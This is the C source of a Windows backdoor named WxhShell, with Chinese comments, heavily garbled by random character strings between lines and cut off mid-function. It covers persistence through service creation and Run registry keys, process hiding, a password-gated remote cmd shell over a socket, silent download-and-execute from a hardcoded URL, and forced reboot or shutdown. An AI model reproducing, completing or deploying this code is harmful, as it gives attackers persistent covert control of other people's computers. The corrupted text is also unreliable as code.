@. /hOp>| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7ml, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? Sj,HLo@U [m?eSq6e2b HANDLE hProcess; {[61LQ6V9 PROCESS_BASIC_INFORMATION pbi; UMpC2)5 :R{Xd{? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]MfT5#(6h if(NULL == hInst ) return 0; R"];`F(# jAfUz7@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AVGb;)x# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {1'XS,2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iyc}a6g qm4 Ejc< if (!NtQueryInformationProcess) return 0; ;yqJEj_m( ce.'STm= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (\e,,C%; if(!hProcess) return 0; D0v!fF~ 0rxlN
[Yp if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pjvChl5 P7&a~N$T6W CloseHandle(hProcess); `8\_ ]w0 /P<RYA~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %L=roqz if(hProcess==NULL) return 0; _' Xt A?ma5h HMODULE hMod; u^s{r`/ char procName[255]; =&U JFu unsigned long cbNeeded; NYM$0v`0YK e!d&
#ofw| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,6~c0]/ _]E"hr6a CloseHandle(hProcess); 0V{-5-.
,u-i9`B if(strstr(procName,"services")) return 1; // 以服务启动 fCJ:QK! s+2\uMwf* return 0; // 注册表启动 J1cD)nM<A } t(?m!Z?tb ]QJLES // 主模块 L}P<iB int StartWxhshell(LPSTR lpCmdLine) |F-_YR { T12?'JL^r SOCKET wsl; n9<QSX&~< BOOL val=TRUE; e]!C
Aj7uS int port=0; P+:FiVj@~ struct sockaddr_in door; &1ASWllD kn 5q1^ if(wscfg.ws_autoins) Install(); m4<8v mLd=+&M port=atoi(lpCmdLine); UtIwrR[ QzT )PtX if(port<=0) port=wscfg.ws_port; eG72=l)Mz /d%&s^M: WSADATA data; ^DS9D:oE if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h$)!eSu 6k%N\!_TUW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F[ N{7C3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W @Y$!V< door.sin_family = AF_INET; \S[: door.sin_addr.s_addr = inet_addr("127.0.0.1"); , b
,`;I door.sin_port = htons(port); 1`Cr1pH Q!7Er if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5JK{dis]k closesocket(wsl); w}zl=w{G return 1; KV k
36;$ } ld-c? 5u'"m<4 if(listen(wsl,2) == INVALID_SOCKET) { ^Jcs0c
@\ closesocket(wsl); y&-wb'==p return 1; HDvj{ } pa N )t Wxhshell(wsl); 1Cki}$k@ WSACleanup(); ]sE~gro G#ZU^%$M, return 0; H2 5Mx>|d ZMids"Xdf } 5?kJ]: ajq [ID // 以NT服务方式启动 1"RO)& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &~:b& { EjV,&7o) DWORD status = 0; |y)R lb#d DWORD specificError = 0xfffffff; AH{]tE !R-M:| serviceStatus.dwServiceType = SERVICE_WIN32; fLA!oeq{&} serviceStatus.dwCurrentState = SERVICE_START_PENDING; sn
'#]yM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +v2Fr} serviceStatus.dwWin32ExitCode = 0; dy-m9fc6% serviceStatus.dwServiceSpecificExitCode = 0; &, hhH_W serviceStatus.dwCheckPoint = 0; 5&D)W>{d serviceStatus.dwWaitHint = 0; q+.DZ
@ rY4{,4V hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }i!hzkK# if (hServiceStatusHandle==0) return; 3+@p `YVdIDl] status = GetLastError(); YK!nV , if (status!=NO_ERROR) f;!1=/5u- { <]eWr:; serviceStatus.dwCurrentState = SERVICE_STOPPED; cod__. serviceStatus.dwCheckPoint = 0; r0379 _ serviceStatus.dwWaitHint = 0; 5, R\tJCK serviceStatus.dwWin32ExitCode = status; <f%JZ4p* serviceStatus.dwServiceSpecificExitCode = specificError; xPWzm
hF SetServiceStatus(hServiceStatusHandle, &serviceStatus); |'9%vtbM return; "toyfZq@ } Q#Q]xJH N`1:U
4} serviceStatus.dwCurrentState = SERVICE_RUNNING; 2>p K serviceStatus.dwCheckPoint = 0; 58\Rl serviceStatus.dwWaitHint = 0; xQ\/6| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kE;h[No&K }
89*CoQ 3%{A"^S=} // 处理NT服务事件,比如:启动、停止 I:CnOpR>A VOID WINAPI NTServiceHandler(DWORD fdwControl) mYJ%gdTpo { srXGe`VL switch(fdwControl) .Qm"iOyM { 5+\[x` case SERVICE_CONTROL_STOP: qqA(Swe)T serviceStatus.dwWin32ExitCode = 0; }&BE*U8_ serviceStatus.dwCurrentState = SERVICE_STOPPED; 3[B*l@}j serviceStatus.dwCheckPoint = 0; C&YJvMu serviceStatus.dwWaitHint = 0; |Wd]:ijJ { `9E:V= SetServiceStatus(hServiceStatusHandle, &serviceStatus); @GDe{GG+ } )8VrGg? return; U??P case SERVICE_CONTROL_PAUSE: U\a.'K50F serviceStatus.dwCurrentState = SERVICE_PAUSED; ^2%_AP0= break; :IlRn`9X` case SERVICE_CONTROL_CONTINUE: [* ,k serviceStatus.dwCurrentState = SERVICE_RUNNING; ,*$L_itL break; `WQz_}TqB case SERVICE_CONTROL_INTERROGATE: /yPFts_q break; ,~u 5SR };
F$<>JEdX SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nd'+s>d0 } XdE#l/# M}=X/*T // 标准应用程序主函数 "
2A`M~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wew'bj
{ &
9}L +/, (jd)sf6Tj[ // 获取操作系统版本 by!1L1[JTt OsIsNt=GetOsVer(); j oDY GetModuleFileName(NULL,ExeFile,MAX_PATH); Zz}Wg@&
>Eg/ir0 // 从命令行安装 t0h@i` if(strpbrk(lpCmdLine,"iI")) Install(); nI7G"f[%r; Sm-gi|A // 下载执行文件 gw' uY$ if(wscfg.ws_downexe) { DjY&)oce( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z(b0U6)qQ WinExec(wscfg.ws_filenam,SW_HIDE); j3 ,6UjlU } rDFDrviW_ BwMi@r
= if(!OsIsNt) { s\2t|d
// 如果时win9x,隐藏进程并且设置为注册表启动 VM=A#} HideProc(); uJ<nW%} StartWxhshell(lpCmdLine); lVF}G[B } "#1KO1@G else V'?bZcRr~ if(StartFromService()) *`$Y!uzG:\ // 以服务方式启动 q-gp;Fm StartServiceCtrlDispatcher(DispatchTable); *W,tq(%tQ else k+#6 // 普通方式启动 ;D.a |(Q StartWxhshell(lpCmdLine); le60b@2G0 S.&=>
return 0; =j#1HI=Fe } [&12`!;j l2H-E&'= JrlDTNJj' 4M4Y2fBH =========================================== F]o&m::/K SNqw2f5 ;[@);-9q Bh3N6j+$d _~~:@fy wJ#fmQXKJ5 " WqQAt{W/< &j=FxF9o #include <stdio.h> n7-|\p!xP6 #include <string.h> z
H$^.1 #include <windows.h> )H=}bqn #include <winsock2.h> U8TH} 9Q #include <winsvc.h> U9^o"vT #include <urlmon.h> z }?*1c L&h@`NPO a #pragma comment (lib, "Ws2_32.lib") PNy)TqdRS #pragma comment (lib, "urlmon.lib") ,@I_b B-'oB>| #define MAX_USER 100 // 最大客户端连接数 (=#[om(A #define BUF_SOCK 200 // sock buffer u\-WArntc #define KEY_BUFF 255 // 输入 buffer $Ro]]NUz| Mn$w_Z? #define REBOOT 0 // 重启 K+2k}Hx6J #define SHUTDOWN 1 // 关机 u /PaXQ cHqT1EY #define DEF_PORT 5000 // 监听端口 >f)/z$
qn DD 8uG`< #define REG_LEN 16 // 注册表键长度 Cg{V"B: #define SVC_LEN 80 // NT服务名长度 9vIqGz-o WRa1VU&f // 从dll定义API Fu0"Asxce typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `y"(\1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dxp8^VL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f};lH[B3y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >
mI1wV[ dL{zU4iUR // wxhshell配置信息 7b>FqW)% struct WSCFG { aC$-riP,?' int ws_port; // 监听端口 +5:Dy,F= char ws_passstr[REG_LEN]; // 口令 ~V#MI@]V~ int ws_autoins; // 安装标记, 1=yes 0=no a^:on?:9 char ws_regname[REG_LEN]; // 注册表键名 DJ&ni` char ws_svcname[REG_LEN]; // 服务名 9Q\CJ9 char ws_svcdisp[SVC_LEN]; // 服务显示名 bogw /)1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Sz`$'^c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \tv^],^` int ws_downexe; // 下载执行标记, 1=yes 0=no tc-pVw:TV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t<8vgdD char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oz8"s4Y7 Z8vMVo }; Ug :3)q[O _FpZc?= // default Wxhshell configuration 8+}yf.` struct WSCFG wscfg={DEF_PORT, RbOEXH*] "xuhuanlingzhe", cV;<!f+ 1, "&$ [@c "Wxhshell", ^:krfXT "Wxhshell", hA?Flq2QV "WxhShell Service", 0%x"Va~"z "Wrsky Windows CmdShell Service", hM_0/o- "Please Input Your Password: ", [D;wB|+, 1, n8h1SlK08 "http://www.wrsky.com/wxhshell.exe", V$ 8go#5 "Wxhshell.exe" P:lmQHls+ }; &Tc:WD qg7qTF& // 消息定义模块 'YQVf]4P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {@1;kG char *msg_ws_prompt="\n\r? for help\n\r#>"; sR~D3- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y4N8B:j% char *msg_ws_ext="\n\rExit."; ]|H`?L char *msg_ws_end="\n\rQuit."; K)ZW1d; char *msg_ws_boot="\n\rReboot..."; h?Y->!' char *msg_ws_poff="\n\rShutdown..."; 11"- taWj char *msg_ws_down="\n\rSave to "; /#<R I,7~D!4G char *msg_ws_err="\n\rErr!"; ^|^yw gK char *msg_ws_ok="\n\rOK!"; E&;[E C0f<xhp?j char ExeFile[MAX_PATH]; Bqcih$`BVU int nUser = 0; cd&^ vQL8 HANDLE handles[MAX_USER]; ON,sN int OsIsNt; z (1zth dM-qd` SERVICE_STATUS serviceStatus; egXHp<bqw SERVICE_STATUS_HANDLE hServiceStatusHandle; B|\JGnNQ i}tBB~] // 函数声明 TTYM!+T int Install(void); Xmmb^2I int Uninstall(void); E=*82Y=B int DownloadFile(char *sURL, SOCKET wsh); xX !`0T7Y int Boot(int flag); %w$\v"^_Y void HideProc(void); RZY[DoF8u int GetOsVer(void); @Sr{6g*I int Wxhshell(SOCKET wsl); {th=MldJ? void TalkWithClient(void *cs); biLNR"/E int CmdShell(SOCKET sock); +6zW(Ql/
int StartFromService(void); k?bIu int StartWxhshell(LPSTR lpCmdLine); y
4
wV]1 kVmRv.zZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *\-$.w)k VOID WINAPI NTServiceHandler( DWORD fdwControl ); CI#6r8u JJQS7,vG // 数据结构和表定义 QLPb5{>KDS SERVICE_TABLE_ENTRY DispatchTable[] = iH`Q4 { *dAQ{E(rO {wscfg.ws_svcname, NTServiceMain}, *XU2%"Sc {NULL, NULL} N1',`L5 }; ~cf*Oq ^cz4nW< // 自我安装 A,'F`au int Install(void) 2@Nt6r { 3 P=I)q char svExeFile[MAX_PATH]; H1t`fyri2 HKEY key; xS'Kr.S
strcpy(svExeFile,ExeFile); h&|S* ShIJ6LZ // 如果是win9x系统,修改注册表设为自启动 |&oTxx$S if(!OsIsNt) { M1mx {<]A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {py"Ob_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {`ghX%M(l RegCloseKey(key); YAdk3y~pL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CyV2=o!F w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JhU"akoK RegCloseKey(key); ufF>I return 0; L*8U.{NY } _'*Vcu`Y } t?aOZps } Ueb&<tS else { c98^~vR]] {V^|9j:\K // 如果是NT以上系统,安装为系统服务 c:[8ng 2v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J+(B]8aj if (schSCManager!=0) Pf:;iXH? { w paI}H# SC_HANDLE schService = CreateService sU$<v( `" ( #iiXJnG schSCManager, M*-]<!))7 wscfg.ws_svcname, dFl8 'D wscfg.ws_svcdisp, .
#FJM2Xk SERVICE_ALL_ACCESS,
Y2TXWl,Jk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H[Q3M~_E SERVICE_AUTO_START, cakwGs_{ SERVICE_ERROR_NORMAL, *%ta5a svExeFile, t ch;_7? NULL, pSl4^$2XR NULL, _u9bZ' NULL, zN&m-nrw NULL, 0F%/R^mw NULL [9;[g~;E%m ); 4J{W8jX if (schService!=0) `uof\D<'] { ^4~?]5Y\ CloseServiceHandle(schService); ]^0mh[" CloseServiceHandle(schSCManager); ANRZQpnXQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LL_@nvu}M strcat(svExeFile,wscfg.ws_svcname); >H,5MM! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O9P4r*prA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0<)Ep~! RegCloseKey(key); [85b+SKW return 0; C({r1l4[D } hEA;5-m } {rzvZ0-j} CloseServiceHandle(schSCManager); "H\R*\-0 } B.4Or] } 98Y1-Z^ . RDOV+2K return 1; oi7Y?hTj } LYke\/ md 5p>rQq0 // 自我卸载 +TC##}Zmb int Uninstall(void) Rjn%<R2nW { !q1XyQX HKEY key; E^B3MyS^^ )
S-Fuq4i4 if(!OsIsNt) { :0kKw=p1R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Mu3]2> RegDeleteValue(key,wscfg.ws_regname); { ^Rr:+ RegCloseKey(key); T}jW,Ost if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MP
p RegDeleteValue(key,wscfg.ws_regname); |)OC1=As RegCloseKey(key); #!C|~= return 0; 5^Ny6t } OyQ[}w3o| } .\+c{ } p{x6BVw?> else { Gce[RB: -XfGF<}r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F8xu&Vk0: if (schSCManager!=0) e8&7W3 m { bQ-n<Lx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $+ORq3 if (schService!=0) uMjL>YLq{? { g:YUuZ if(DeleteService(schService)!=0) { H<"EE15 CloseServiceHandle(schService); YbF}>1/" CloseServiceHandle(schSCManager); ma6Wr !J return 0; ]l}bk] } blUS6"kV} CloseServiceHandle(schService); 3uL$+F } 5&_R+g CloseServiceHandle(schSCManager); "iJAM`Hi } 5O~;^0iC } k)zBw(wr TVVu_ib return 1; j:$Z-s } USJ4Z 8l<~zIoO // 从指定url下载文件 ;?Q0mXr int DownloadFile(char *sURL, SOCKET wsh) f\z9?Z(~ { F(`Q62o@ HRESULT hr; 65GC7 >[ char seps[]= "/"; TA+#{q+a char *token; "?6R"Vk?: char *file; 3}B-n!|* char myURL[MAX_PATH]; OI:T#uk5 char myFILE[MAX_PATH]; On}b|ev 93/`e}P"o strcpy(myURL,sURL); o\qeX|.70 token=strtok(myURL,seps); 0R;`)V\^ while(token!=NULL) ;x&3tN/I { jX,A. file=token; c^R "g)gr token=strtok(NULL,seps); <9x|)2P } fVYv 2 O O-Obg^ GetCurrentDirectory(MAX_PATH,myFILE); ppu<k N strcat(myFILE, "\\"); [OFT!=.y & strcat(myFILE, file); t&-c?&FO\; send(wsh,myFILE,strlen(myFILE),0); m/WDJ$d send(wsh,"...",3,0); !lKDNQ8>[" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qv`:o
` if(hr==S_OK) &{8[I3#@ return 0; ^y~oXS( else a?)g>e
HN return 1; kdMB.~(K= {"0n^! } !v*#E{r"g= [-\DC*6 // 系统电源模块 jRp @-S#V int Boot(int flag) ]0pI6" { DvTbt?i[ HANDLE hToken;
aqwW`\ TOKEN_PRIVILEGES tkp; Lve$H(GHT BT(G9Pj; if(OsIsNt) { hP/uS%X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <JZa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yCv"(fNQ tkp.PrivilegeCount = 1; FWo`oJeN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &A^2hPe} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7>gW2m if(flag==REBOOT) { Si|8xq$E; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7A return 0; AI .2os* } >Lz2zlZI else { pe+m%;nzR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <4;f?eu return 0; `U;V- } ik0w\* } 5d|+ c< else { V.[b${ if(flag==REBOOT) { |h:3BV_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R xWD>: return 0; bL5dCQxty } S1!_ IK$m else { %;` 3I$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V{0 V/Nv return 0; 7wqD_Xr } Z8pZm`g)T } u[!Ex=9W =PoPp return 1; #elaz8 5 } \)PS&Y8n U4Pk^[,p1G // win9x进程隐藏模块 ^N~Jm&I void HideProc(void) 6:\z8fYD { +Jc-9Ko\c; '`p0T%w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vaZ?>94 if ( hKernel != NULL ) H{;8i7% { y)Lyo'` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,]?l(H $x' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? oGmGKq FreeLibrary(hKernel); QpifO } 2K'}Vm+ ^[zF IO return; Pq(
)2B } S[uHPYhlA m$$98N // 获取操作系统版本 ix}*whW=U int GetOsVer(void) !Jo.Un7 { *Xd_=@L&B OSVERSIONINFO winfo; O0"&wvR+5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dk2o>jI4; GetVersionEx(&winfo); SiJX5ydz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q}5&B=2pM return 1; PiIILX{DuH else 0M>%1* return 0; lc0Z fC } dnTXx*I: ?rV c} // 客户端句柄模块 7h/{F({r= int Wxhshell(SOCKET wsl) o=(>#iVM { [ \Aor[( SOCKET wsh; Z8Clm:S struct sockaddr_in client; AwL;-|X DWORD myID; 3!B3C(g HjN )~<j while(nUser<MAX_USER) 6_a.`ehtj< { 5(OF~mX# int nSize=sizeof(client); ~
.Eln+N wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /h%MWCZWm^ if(wsh==INVALID_SOCKET) return 1; oDas~0<oh 8%#uZG\} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BF6H_g if(handles[nUser]==0) ihhnB closesocket(wsh); E0S[TEDa] else sw &sF nUser++; R:JS)>B }
( ]o6Pi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AuYi$?8|5 I!Za2? return 0; `P4qEsZE>` } gf2w@CVF>= _E[{7"3} // 关闭 socket *)d|:q3 void CloseIt(SOCKET wsh) ]R{=| { 2=NYBOE closesocket(wsh); Q-&]Vg nUser--; M>k7
'@G ExitThread(0); w02HSQ } (;h]'I@ 5cQBqH] // 客户端请求句柄 c#;LH5KI void TalkWithClient(void *cs) "Hjw { cw <DM%p |qNrj~n@ SOCKET wsh=(SOCKET)cs; LGCL*Qbsg char pwd[SVC_LEN]; Sb[rSczS~ char cmd[KEY_BUFF]; @;,O V&XYn char chr[1]; jIc;jjAF int i,j; FZmYv%J (^Do#3 while (nUser < MAX_USER) { 0QIocha emS +%6U if(wscfg.ws_passstr) { k*c:%vC! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [I4FU7mpH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +;[`fSi //ZeroMemory(pwd,KEY_BUFF); )3B5"b, i=0; rb\Ohv\ while(i<SVC_LEN) { mLY * <CmsnX // 设置超时 Ef `LBAfOO fd_set FdRead; $'FPst8Q< struct timeval TimeOut; :g9z^ $g FD_ZERO(&FdRead); JkxS1 FD_SET(wsh,&FdRead); FvI`S> TimeOut.tv_sec=8; L
kq>>?T= TimeOut.tv_usec=0; (Fgt #H(B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nyqm0C6m^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dfhs@ z fZ g*@RR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UXk8nH pwd=chr[0]; }5tn if(chr[0]==0xd || chr[0]==0xa) { AYZds >#Q pwd=0; -6tF break; x(7K3(#| } C aJD* i++; )#ujF~w> } Gj_b GqF8} D[#\Y+N // 如果是非法用户,关闭 socket MM8)yCI if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l*:p== } S8)awTA9
B-gr2- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3MzY]J
y( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M7>\Qk iRVLo~ while(1) { %-'U9e KN -<O:isB ZeroMemory(cmd,KEY_BUFF); 6~/H#8Kdn P*T)/A%4 // 自动支持客户端 telnet标准 ^c7L!F j=0; ]Ojt3)fB while(j<KEY_BUFF) { sk3;;<H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hW+Dko(s cmd[j]=chr[0]; Go67VqJr if(chr[0]==0xa || chr[0]==0xd) { TnaIRJ\B cmd[j]=0; aBC[(}Pb] break; YaT07X.(b } ha),N<' j++; >PJ-Z~O'
} 5k(#kyP 68!fcK // 下载文件 vxt^rBA if(strstr(cmd,"http://")) { ,RHHNTB(" send(wsh,msg_ws_down,strlen(msg_ws_down),0); dbXG?K][ if(DownloadFile(cmd,wsh)) mHMej@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); vPsX!m[# else KE3v3g< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C/Z"W@7#; } #"M Pe4 else { *j*
WE\ ,i,=LGn switch(cmd[0]) { nJya1AH; Z7/dRc
// 帮助 {L eEnh- case '?': {
k
WtUj send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >dl!Ep break; N9ufTlq
s } ybG)=0 // 安装 i=a LC*@ case 'i': { HW G~m:km if(Install()) S_CtEM send(wsh,msg_ws_err,strlen(msg_ws_err),0); vSA%A47G else 8#Z5-",iw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HKkf+)%)x break; VfwD{+5 } V"ZbKV+[ // 卸载 Uk2q,2 case 'r': { $OD5t5eTsM if(Uninstall()) ezvaAhd{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Q;o538 else GXRjR\Ch send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \d+HYLAJn break; bH{aI:9Fb } c" 7pf
T // 显示 wxhshell 所在路径 gsp7N case 'p': { OQQ9R?Ll{ char svExeFile[MAX_PATH]; k#(cZ strcpy(svExeFile,"\n\r"); 8TPm[r] strcat(svExeFile,ExeFile); KIFx&A send(wsh,svExeFile,strlen(svExeFile),0); ]EnaZWyO] break; bZXNo } /<$"c"UQ // 重启 d"UW38K{ case 'b': { ,no:6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Q3~n ^ if(Boot(REBOOT)) J":9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;}H<&" else { }$1;< closesocket(wsh); Ag6
( ExitThread(0); }6>J } z)>{O3 break; af(JoX*U } e;5Lv9?C8 // 关机 rk |(BA case 'd': { E3skC%} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |mmG
s if(Boot(SHUTDOWN)) He!!oKK> send(wsh,msg_ws_err,strlen(msg_ws_err),0); v`BG1&/| else { cvA\C_ closesocket(wsh); WN#lfn8 7 ExitThread(0); h.;CL#s } I uj=d~|> break;
77d`N } `Qf
:PX3 // 获取shell \cP'#jZz case 's': { }GDG$QI]K& CmdShell(wsh); !nq\x8nU closesocket(wsh); 0Zh
_Q ExitThread(0); 8M9\<k6 break; nln6:^w } S "Pj1 // 退出 wPJRp]FA case 'x': { #cG479X" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [B3aRi0AQ CloseIt(wsh); BpG'e-2 break; FT>~ES]cQd } aX)./ // 离开 JvL'gJ$70 case 'q': { )K>@$6H+2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); vGwD~R closesocket(wsh); ;Ph )BY< WSACleanup(); Lu 39eO6 exit(1); \%Rta$O?S break; F^t?*
} ,l .U^d6> } N%A`rY}u } 9[{>JRm. `L#?eQ{ // 提示信息 2^#UO=ct if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;sR6dT) } ?_>^<1I1 } G=HxD4l NJf(,Mr*| return; ]}7rWs[|1 } pEj^x[b`^ pptM&Y // shell模块句柄 MlK`sH6 int CmdShell(SOCKET sock) vj&5` { 4t
Nv q STARTUPINFO si; h+~df(S. ZeroMemory(&si,sizeof(si)); _G[I2] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *;e@t4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;c-
]bhBB PROCESS_INFORMATION ProcessInfo; 2{B(j&{ char cmdline[]="cmd"; ]p&< nK, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jrd4a~XP return 0; CEuk1$ } M:Y*Tb6w )YMlFzYr // 自身启动模式
NJ)2+ int StartFromService(void) 3U"') { Dbdzb m7 typedef struct )6:]o&bZ { Lv5X 'yM DWORD ExitStatus; aZjef DWORD PebBaseAddress; 2\63&C^ DWORD AffinityMask; 3zTE4pHzu+ DWORD BasePriority; vk)0n= ULONG UniqueProcessId; 0\Yx.\X, ULONG InheritedFromUniqueProcessId; ,0uo&/Y4L } PROCESS_BASIC_INFORMATION; [AX"ne#M* [TK? P0 PROCNTQSIP NtQueryInformationProcess; /witDu7 I\rZk9F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ::OFW@dS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *V6QBe Sm$j:xw< HANDLE hProcess; .pIR/2U\F PROCESS_BASIC_INFORMATION pbi; e(w/m(!Wny x , Vh HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @?3vRs}h if(NULL == hInst ) return 0; KT];SF^Y ]bN&5.| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,t%CK!8 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?S@R~y0K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P,/13tZ#3 } }f_ if (!NtQueryInformationProcess) return 0; m c\ C 2#b<d?" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dT]L-uRZgy if(!hProcess) return 0; !jAWNK6 jj3Pf>D+k if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x\`RW3 K |rxKCzjm CloseHandle(hProcess); mC:X4l]5 A3"1D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | 